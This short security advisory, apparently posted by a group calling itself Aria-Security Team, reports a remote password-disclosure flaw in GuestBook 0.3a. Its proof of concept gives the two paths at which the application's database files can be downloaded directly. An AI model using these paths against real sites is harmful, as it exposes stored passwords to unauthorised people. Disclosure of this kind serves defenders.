GuestBook version 0.3a suffers from a direct database download vulnerability.
79e23e4dc3eba1cbcff582efa77e6cc4726bf8f5fd5d782cef8ee812587a86c8
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# <ARIA-SECURITY TEAM> #
# <Forum: http://aria-security.com> #
# <Discovered by:Aria-Security Team #
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#Type:Remote Password Disclosure
#Download: http://www.planet-source-code.com/vb/scripts/ShowCode.asp?lngWId=4&txtCodeId=6847
#PoC:
#target/path/~db/gbook.mdb
#target/path/~db/gbook97.mdb
#
#Contact:
#Advisory@Aria-Security.net
#
#[http://aria-security.com/forum/showthread.php?p=114]